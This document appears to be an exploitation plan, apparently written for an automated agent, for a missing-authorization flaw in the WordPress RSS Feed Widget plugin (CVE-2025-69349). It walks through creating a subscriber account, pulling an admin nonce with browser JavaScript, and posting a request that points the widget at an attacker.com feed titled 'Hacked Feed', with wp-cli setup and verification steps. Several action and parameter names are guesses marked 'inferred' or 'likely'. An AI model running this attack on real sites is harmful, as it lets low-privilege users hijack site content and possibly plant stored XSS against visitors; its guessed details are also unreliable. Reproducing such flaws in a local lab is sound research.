Exploitation Research Plan - CVE-2025-69349

1. Vulnerability Summary

The RSS Feed Widget plugin for WordPress (versions <= 3.0.2) contains a missing authorization vulnerability within its AJAX handling logic. Specifically, an AJAX action intended for administrative configuration does not implement a current_user_can() check. This allows any authenticated user, including those with Subscriber roles, to invoke the function and modify plugin settings or perform unauthorized actions.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: rss_feed_widget_save_settings (inferred) or a similar settings-update hook.
• Payload Parameter: Typically $_POST parameters such as feed_url, widget_title, or cache_time.
• Authentication: Authenticated, Subscriber-level access or higher.
• Preconditions: The attacker must obtain a valid WordPress nonce associated with the plugin's administrative actions.

3. Code Flow

1. Hook Registration: The plugin registers an AJAX handler in its main file or administrative class using add_action( 'wp_ajax_rss_feed_widget_save_settings', '...' ).
2. Entry Point: A Subscriber user sends a POST request to admin-ajax.php with action=rss_feed_widget_save_settings.
3. Nonce Verification (Partial Bypass): The handler likely calls check_ajax_referer() or wp_verify_nonce(). Because nonces are often localized for all logged-in users or the script is enqueued globally in the admin dashboard, a Subscriber can retrieve this nonce.
4. Missing Authorization (The Vulnerability): The function proceeds to update options via update_option() without verifying the user has the manage_options capability.
5. Sink: update_option( 'rss_feed_widget_options', ... ).

4. Nonce Acquisition Strategy

The plugin likely enqueues a JavaScript file in the WordPress admin area and localizes a nonce for AJAX requests. Since Subscribers can access /wp-admin/profile.php, they can retrieve nonces enqueued on all admin pages.

1. Identify Localization: Look for wp_localize_script in the plugin source (likely in includes/admin.php or the main file).
2. Identify Variables: Search for the object name (e.g., rss_feed_widget_admin) and the nonce key (e.g., nonce).
3. Execution Steps:
   • Create a Subscriber user and log in.
   • Use the browser_navigate tool to go to /wp-admin/profile.php.
   • Use browser_eval to extract the nonce:

     // Example based on common naming conventions
     window.rss_feed_widget_admin?.nonce || window.rss_widget_vars?.ajax_nonce
     

   • If the script is only loaded on specific pages, the agent must check the plugin's admin_enqueue_scripts hook to see where the nonce is exposed.

5. Exploitation Strategy

Step 1: Nonce Retrieval

• Log in as a Subscriber.
• Navigate to /wp-admin/profile.php.
• Evaluate the global JS objects to find the nonce for rss_feed_widget_save_settings.

Step 2: Unauthorized Action (Setting Modification)

• Construct a POST request to admin-ajax.php.
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded, Cookie: [Subscriber Cookies]
• Body:

  action=rss_feed_widget_save_settings&nonce=[EXTRACTED_NONCE]&rss_url=http://attacker.com/malicious-feed.xml&widget_title=Hacked+Feed
  

• Note: The exact parameter names (rss_url, widget_title) must be verified by checking the update_option call in the vulnerable function.

6. Test Data Setup

1. Install Plugin: Install RSS Feed Widget version 3.0.2.
2. Configure Widget: Add a legitimate RSS Feed Widget to a sidebar via wp-admin.
3. Create User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

4. Identify Options: Determine the option name used by the plugin:

   wp option list | grep rss_feed
   

7. Expected Results

• Response: The server returns a 200 OK or a JSON success message (e.g., {"success": true}).
• Outcome: The RSS feed URL used by the widget is changed to the attacker-supplied URL.
• Impact: The site now fetches and displays content from an attacker-controlled RSS feed, potentially leading to Stored XSS if the feed content is not properly sanitized upon rendering.

8. Verification Steps

1. Check Database: Verify the option has been updated:

   wp option get rss_feed_widget_options
   

2. Confirm UI Change: Use http_request to fetch the site frontend and check if the "Hacked Feed" title or the malicious URL is present in the widget HTML.

9. Alternative Approaches

If the wp_ajax_ action is not rss_feed_widget_save_settings:

• Grep for Handlers: Search the plugin directory for add_action( 'wp_ajax_ to find all registered AJAX actions.
• Check admin_init: If no AJAX actions are found, check for functions hooked to admin_init that process $_POST or $_GET without capability checks.
• Blind Modification: If parameters are unknown, analyze the RSS_Feed_Widget class update method (standard Widget API) to see if it's being called improperly via a custom AJAX handler.